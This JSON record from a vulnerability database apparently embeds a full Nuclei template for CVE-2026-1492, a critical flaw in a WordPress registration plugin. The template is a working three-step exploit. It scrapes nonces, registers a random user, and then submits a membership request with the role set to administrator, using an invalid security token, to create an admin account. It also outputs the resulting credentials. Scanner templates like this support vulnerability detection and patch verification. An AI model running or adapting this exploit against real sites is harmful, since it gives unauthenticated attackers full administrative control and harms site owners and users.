{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-1492/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-1492/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-1492/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-1492/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-1492/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-1492"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-1492"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-1492.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-1492\n\ninfo:\n  name: WordPress User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation\n  author: omarkurt\n  severity: critical\n  description: |\n    User Registration & Membership WordPress plugin <= 5.1.2 contains an improper privilege management vulnerability caused by accepting user-supplied roles without server-side allowlist enforcement, letting unauthenticated attackers create administrator accounts\n  impact: |\n    Unauthenticated attackers can create administrator accounts, leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 5.1.2.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1492\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7e9fec92-f471-4ce9-9138-1c58ad658da2\n    - https://plugins.trac.wordpress.org/changeset/3469042/user-registration\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-269\n    cve-id: CVE-2026-1492\n    epss-score: 0.28892\n    epss-percentile: 0.98162\n  metadata:\n    max-request: 3\n    verified: true\n  tags: cve,cve2026,wordpress,wp-plugin,user-registration,privilege-escalation,vkev\n\nvariables:\n  username: \"{{to_lower(rand_base(8))}}\"\n  email: \"{{to_lower(rand_base(8))}}@wptest.com\"\n  password: \"Wp-{{rand_base(12)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /registration/ HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'name=\"ur-user-form-id\" value=\"(\\d+)\"'\n\n      - type: regex\n        name: form_save_nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"user_registration_form_data_save\"\\s*:\\s*\"([a-f0-9]+)\"'\n\n      - type: regex\n        name: ur_nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'id=\"ur_frontend_form_nonce\" name=\"ur_frontend_form_nonce\" value=\"([a-f0-9]+)\"'\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=user_registration_user_form_submit&security={{form_save_nonce}}&ur_frontend_form_nonce={{ur_nonce}}&form_id={{form_id}}&form_data=%5B%7B%22field_name%22%3A%22user_login%22%2C%22value%22%3A%22{{username}}%22%7D%2C%7B%22field_name%22%3A%22user_email%22%2C%22value%22%3A%22{{email}}%22%7D%2C%7B%22field_name%22%3A%22user_pass%22%2C%22value%22%3A%22{{password}}%22%7D%2C%7B%22field_name%22%3A%22user_confirm_password%22%2C%22value%22%3A%22{{password}}%22%7D%5D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=user_registration_membership_register_member&security=invalid&members_data=%7B%22membership%22%3A%221%22%2C%22payment_method%22%3A%22free%22%2C%22username%22%3A%22{{username}}%22%2C%22role%22%3A%22administrator%22%7D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"Created admin: \" + username + \" / \" + password'\n        internal: true\n# digest: 490a0046304402201c5c4d9ce43347992591590dbaf5fa26fe9d3cb4b4d9b2c1cb0cfb1c203283750220522c14df9af08d1793ca2af66250220a1474a35e8ff3215558bb7b022ad94e5a:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-1492"
}